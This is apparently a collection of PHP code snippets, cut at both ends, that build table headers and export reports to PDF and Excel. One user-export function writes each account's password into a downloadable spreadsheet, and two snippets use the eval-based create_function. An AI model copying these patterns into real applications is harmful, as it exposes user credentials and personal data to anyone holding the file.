$GLOBALS['pdf'];\n\t$width_col_no = $GLOBALS['width_col_no'];\n\t$sync_name_index = $GLOBALS['sync_name_index'];\n\t$collectionWidth = $GLOBALS['collectionWidth'];\n\t$totalWidth = $GLOBALS['totalWidth'];\n\n\t//setkan font jadi bold untuk header\n\t$pdf->SetFont('helvetica','B',9);\n\n\t//koleksi tinggi column header\n\t$header_cols_height = array();\n\n\t//tinggi untuk column 'No'\n\t$header_cols_height[] = $pdf->getNumLines('No',$width_col_no);\n\n\t//dapatkan tinggi untuk setiap column\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$header_cols_height[] = $pdf->getNumLines($value,$width_converted);\n\t}\n\n\t//cari siapa paling tinggi\n\t$max_height = max($header_cols_height);\n\n\t//display\n\t$pdf->SetFillColor(211,211,211);\n\n\t$pdf->MultiCell($w=$width_col_no, $h=5*$max_height+3, $txt='No', $border=1, $align='L', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$pdf->MultiCell($w=$width_converted, $h=5*$max_height+3, $txt=$value, $border=1, $align='C', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\t}\n\n\t//reset font\n\t$pdf->SetFont('helvetica','',9);\n\t$pdf->Ln();\n}", "function Table_Headers($header,$w)\r\n{\r\n //Colors, line width and bold font\r\n $this->SetFillColor(153,153,153);\r\n $this->SetTextColor(0);\r\n $this->SetDrawColor(128,0,0);\r\n $this->SetLineWidth(.3);\r\n $this->SetFont('Arial','B','7');\r\n\t\r\n //Header\r\n\t\r\n\t//Output table header\r\n for($i=0;$i<count($header);$i++)\r\n $this->Cell($w[$i],5,$header[$i],1,0,'C',1);\r\n $this->Ln();\r\n}", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "function setHeader($file_name){\t\n\t\t// echo date('H:i:s') , \" Set header/footer\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&L&G&C&HPlease treat this document as confidential!');\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&L&B' . $this->objPHPExcel->getProperties()->getTitle() . '&RPage &P of &N');\n\t\t// Set page orientation and size\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setPaperSize(PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4);\n\t\t// Rename worksheet\n\t\t// echo date('H:i:s') , \" Rename worksheet\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->setTitle($file_name);\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$this->objPHPExcel->setActiveSheetIndex(0);\n\t\t// download the excel file\n\t\t$this->output($file_name);\n\t}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "function table_table_header_row($values)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\t$cells->attach(do_template('TABLE_TABLE_HEADER_ROW_CELL',array('_GUID'=>'5002f54ccddf7259f3460d8c0759fd1a','VALUE'=>$value)));\n\t}\n\n\treturn do_template('TABLE_TABLE_HEADER_ROW',array('_GUID'=>'2f4095b8d30f50f34fdd6acf8dd566b1','CELLS'=>$cells));\n}", "function generateTitle($header, $data)\n\t{\n\t\t$this->SetFillColor(63,73,204);\n\t\t$this->SetTextColor(255);\n\t\t$this->SetDrawColor(18,0,0);\n\t\t$this->SetLineWidth(.1);\n\t\t$this->SetFont('','B');\n\t\t// Header\n\t\t$w = array(70, 25, 30, 20,30,35,25);\n\t\tfor($i=0;$i<count($header);$i++)\n\t\t\t$this->Cell($w[$i],7,$header[$i],1,0,'C',true);\n\t\t$this->Ln();\n\t\t// Color and font restoration\n\t\t$this->SetFillColor(224,235,255);\n\t\t$this->SetTextColor(0);\n\t\t$this->SetFont('');\n\t\t// Data\n\t\t$fill = false;\n\t\tforeach($data as $row)\n\t\t{\n\t\t\t$this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);\n/*\t\t\t$this->Cell($w[1],6,$row[1],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[2],6,$row[2],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[3],6,$row[3],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[4],6,$row[4],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[5],6,$row[5],'LR',0,'C',$fill);*/\n\t\t\t$this->Ln();\n\t\t\t$fill = !$fill;\n\t\t}\n\t\t// Closing line\n\t\t$this->Cell(array_sum($w),0,'','T');\n\t}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "function header (){\n\t\t$this->setfont('Arial','B', 16);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'WANANCHI', 0, 0, 'C');\n\t\t$this->Ln(10);\n\t\t$this->setfont('Arial','',12);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'INFORMATION',0, 0, 'C');\n\t\t$this->Ln(30);\n\t}", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "public function export() \n \t\t{\n \t\t$data = $this->model_user->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data User SN Health Care');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:I')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:J1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR USER APLIKASI SN HEALTH CARE');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Email');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Password');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Nomor Handphone');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Wilayah');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:J2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(20);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->user_name);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, $v->user_sex);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->user_datebirth);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->user_email);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->user_password);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->user_phone);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->district_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->user_address);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->user_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:J' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar User Aplikasi SN Health Care.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/user');\n \t\t}", "public function setColumnsHeadData()\n\t{\n\t\tFileStorage::getInstance()->store([], 'league_table_columns_head');\n\t}", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "public function headingRow(): int\n {\n return 1;\n }", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "private function setHeader($data)\n {\n $this->headers = array_map('self::formatString', $data[0]);\n array_unshift($this->headers, 'row');\n }", "function RowHeadFoot($data) {\n $nb = 0;\n for ($i = 0; $i < count($data); $i++)\n $nb = max($nb, $this->NbLines($this->widths[$i], $data[$i]));\n $h = 5 * $nb;\n //Issue a page break first if needed\n 